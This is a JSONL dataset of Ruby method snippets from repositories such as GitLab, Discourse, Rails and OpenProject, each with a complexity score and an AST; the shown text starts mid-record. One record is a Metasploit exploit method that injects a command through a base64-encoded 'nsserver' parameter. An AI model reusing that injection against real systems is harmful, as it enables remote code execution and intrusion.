ror_codes\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"localizedMessage\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnexpectedResponse\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}","id":"4164784e-eb4a-4213-bfe2-4de63e6d19de"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/work_queue.rb","start_line":54,"raw_source":"def initialize(key, limit, &blk)\n      @limit = limit\n      @size = 0\n      @key = key\n      @elements = Hash.new { |h, k| h[k] = blk.call }\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"limit\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@elements\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]},\"call\"]}]}]}]}]}]}","id":"fb245d97-0659-48ac-847a-45c8d22ee1a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/haml_lint/linter/inline_javascript.rb","start_line":10,"raw_source":"def visit_filter(node)\n        return unless node.filter_type == 'javascript'\n\n        record_lint(node, MSG)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"filter_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"javascript\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_lint\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"const\",\"children\":[null,\"MSG\"]}]}]}]}","id":"c4447360-c07d-48f9-8815-602d848820e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/admin/type_configuration_form.rb","start_line":109,"raw_source":"def drag_and_drop(handle, group)\n        target = group.find(\".attributes\")\n\n        scroll_to_element(group)\n        page\n          .driver\n          .browser\n          .action\n          .move_to(handle.native)\n          .click_and_hold(handle.native)\n          .perform\n\n        scroll_to_element(group)\n        page\n          .driver\n          .browser\n          .action\n          .move_to(target.native)\n          .release\n          .perform\n      end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"drag_and_drop\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handle\"]},{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"find\",{\"type\":\"str\",\"children\":[\".attributes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"scroll_to_element\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"action\"]},\"move_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]},\"native\"]}]},\"click_and_hold\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]},\"native\"]}]},\"perform\"]},{\"type\":\"send\",\"children\":[null,\"scroll_to_element\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"action\"]},\"move_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"native\"]}]},\"release\"]},\"perform\"]}]}]}","id":"7608652f-f6dd-400c-82b2-47d747b7bb3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/user_profile/menus/overview_menu.rb","start_line":41,"raw_source":"def user\n          context.container\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"container\"]}]}","id":"56d91fc1-3f03-4367-8a7e-c7c0e196d450"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_topic_serializer.rb","start_line":24,"raw_source":"def claimed_by\n    @options[:claimed_topics][object.id]\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"claimed_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"claimed_topics\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]}]}","id":"c9649205-583c-49e7-bf77-b1007f5af6f2"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example.rb","start_line":530,"raw_source":"def mocks_need_verification?\n        exception.nil? || execution_result.pending_fixed?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mocks_need_verification?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exception\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execution_result\"]},\"pending_fixed?\"]}]}]}","id":"867645ec-0289-42af-aa76-b9d7dcfc3e89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/verify/job_artifacts.rb","start_line":32,"raw_source":"def remote_object_exists?(artifact)\n        artifact.file.file.exists?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_object_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"artifact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact\"]},\"file\"]},\"file\"]},\"exists?\"]}]}","id":"a6d38fd3-ac3b-4e2f-9136-4a08355a4ad8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression/target.rb","start_line":171,"raw_source":"def ==(other)\n    other.kind_of?(MiqExpression::Target) &&\n      column == other.column &&\n      model == other.model &&\n      associations == other.associations\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqExpression\"]},\"Target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"column\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"model\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"associations\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"associations\"]}]}]}]}","id":"5e2cc5f9-009e-42f0-bd3d-59930d2ec452"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/limitable.rb","start_line":54,"raw_source":"def global_plan_limits\n    relation = self.class.all\n    limits = Plan.default.actual_limits\n\n    [limits, relation]\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"global_plan_limits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"all\"]}]},{\"type\":\"lvasgn\",\"children\":[\"limits\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plan\"]},\"default\"]},\"actual_limits\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limits\"]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}","id":"f44ccc43-6712-4b97-9126-2cf53314af19"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pineapp_livelog_exec.rb","start_line":88,"raw_source":"def exploit\n    print_status(\"#{rhost}:#{rport} - Executing payload...\")\n    send_request_cgi({\n      'uri' => my_uri,\n      'vars_get' => {\n        'cmd' => 'nslookup',\n        'nstype' => Rex::Text.encode_base64(\"A\"),\n        'hostip' => Rex::Text.encode_base64(\"127.0.0.1\"), # Using 127.0.0.1 in order to accelerate things with the legit command\n        'nsserver' => Rex::Text.encode_base64(\"127.0.0.1;#{payload.encoded}\")\n      }\n    })\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Executing payload...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"my_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"str\",\"children\":[\"nslookup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"nstype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"str\",\"children\":[\"A\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hostip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"nsserver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"127.0.0.1;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}]}]}]}]}]}]}]}","id":"4a51e6ab-79f6-4bba-8d82-289e08193916"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_reference_brackets.rb","start_line":132,"raw_source":"def previous_token(current_token)\n          index = processed_source.tokens.index(current_token)\n          index.nil? || index.zero? ? nil : processed_source.tokens[index - 1]\n        end","complexity_score":14.38,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"tokens\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"current_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"zero?\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"tokens\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"8fe56457-4715-48a8-8582-4a1ec9792857"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/customer_relations/organizations/update_service.rb","start_line":6,"raw_source":"def execute(organization)\n        return error_no_permissions unless allowed?\n\n        handle_active_param\n        return error_updating(organization) unless organization.update(params)\n\n        ServiceResponse.success(payload: organization)\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"organization\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_no_permissions\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_active_param\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"organization\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"params\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_updating\",{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]}]}]}","id":"0d3abe97-5c18-4e02-b3d6-6be12f7cee11"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/repository_storage_moves_shared_examples.rb","start_line":11,"raw_source":"def get_container_repository_storage_move\n      get api(url, user, admin_mode: user.admin?)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_container_repository_storage_move\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"url\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"admin?\"]}]}]}]}]}]}","id":"6578c3ca-c8cf-49c8-886a-91cdf2cf63ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_references/alias_resolver.rb","start_line":259,"raw_source":"def aliased_model(model, version:)\n        aliased_model = aliases.dig(model, version, :model)\n        return aliased_model if aliased_model.present?\n\n        track_error_for_missing(model:, version:)\n\n        model.safe_constantize || (raise missing_alias_error(model:, version:))\n      end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"aliased_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"kwarg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aliased_model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aliases\"]},\"dig\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"sym\",\"children\":[\"model\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_model\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aliased_model\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"track_error_for_missing\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"safe_constantize\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"missing_alias_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}]}]}]}","id":"dd8f89e6-9708-4ad7-adc1-fd53486cb738"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/burp_session_document.rb","start_line":92,"raw_source":"def collect_host\n      return unless in_item\n      return unless has_text\n      @state[:host] = @text\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_item\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_text\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"ivar\",\"children\":[\"@text\"]}]}]}]}","id":"9b8a0e1b-8b83-4399-b9f4-41b4c7982274"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/tls_secret.rb","start_line":29,"raw_source":"def metadata\n        {\n          name: name,\n          namespace: namespace_name\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"namespace_name\"]}]}]}]}","id":"9c5e58e4-b2dc-4b1b-9563-085ab22643cb"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/testing/fixture_resolver_test.rb","start_line":44,"raw_source":"def test_should_return_all_variants_for_any\n    resolver = ActionView::FixtureResolver.new(\"arbitrary/path.html.erb\" => \"this html\", \"arbitrary/path.html+variant.erb\" => \"this text\")\n    templates = resolver.find_all(\"path\", \"arbitrary\", false, locale: [], formats: [:html], variants: [], handlers: [:erb])\n    assert_equal 1, templates.size, \"expected one template\"\n    assert_equal \"this html\", templates.first.source\n    templates = resolver.find_all(\"path\", \"arbitrary\", false, locale: [], formats: [:html], variants: :any, handlers: [:erb])\n    assert_equal 2, templates.size, \"expected all templates\"\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_return_all_variants_for_any\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resolver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"FixtureResolver\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arbitrary/path.html.erb\"]},{\"type\":\"str\",\"children\":[\"this html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arbitrary/path.html+variant.erb\"]},{\"type\":\"str\",\"children\":[\"this text\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"arbitrary\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variants\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handlers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"erb\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"expected one template\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"this html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"first\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"arbitrary\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variants\"]},{\"type\":\"sym\",\"children\":[\"any\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handlers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"erb\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"templates\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"expected all templates\"]}]}]}]}","id":"7d1547e3-b352-4fab-8c67-299be1a53a69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/method_linker.rb","start_line":25,"raw_source":"def link_method_call(method_name, value = nil, &url_proc)\n        regex = method_call_regex(method_name, value)\n\n        link_regex(regex, &url_proc)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"link_method_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"url_proc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"send\",\"children\":[null,\"method_call_regex\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_regex\",{\"type\":\"lvar\",\"children\":[\"regex\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_proc\"]}]}]}]}]}","id":"c61f8d79-8f85-4228-8dfc-12d8f515e328"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/security/flag.rb","start_line":31,"raw_source":"def false_positive?\n            flag_type == :false_positive\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"false_positive?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flag_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"false_positive\"]}]}]}","id":"8550eca2-bad5-4804-bb61-101d0bd4f854"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/queries/update_contract.rb","start_line":39,"raw_source":"def user_allowed_to_change\n      # Check user self-saving their own queries\n      # or user saving public queries\n      if model.public_was\n        user_allowed_to_change_public\n        user_allowed_to_change_query_to_private if model.public_changed?\n      else\n        user_allowed_to_change_query\n        user_allowed_to_change_public if model.public?\n      end\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_to_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"public_was\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_allowed_to_change_public\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"public_changed?\"]},{\"type\":\"send\",\"children\":[null,\"user_allowed_to_change_query_to_private\"]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_allowed_to_change_query\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"public?\"]},{\"type\":\"send\",\"children\":[null,\"user_allowed_to_change_public\"]},null]}]}]}]}","id":"899962fa-953c-4c7d-8907-f7d1f7e5e328"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/concerns/toolable.rb","start_line":34,"raw_source":"def build_request_url(params)\n    return endpoint_url if endpoint_url.blank? || endpoint_url.exclude?('{{')\n\n    render_template(endpoint_url, params)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_request_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoint_url\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoint_url\"]},\"exclude?\",{\"type\":\"str\",\"children\":[\"{{\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoint_url\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_template\",{\"type\":\"send\",\"children\":[null,\"endpoint_url\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"09f93df2-b037-40cf-b9d6-407bbe6970dd"}
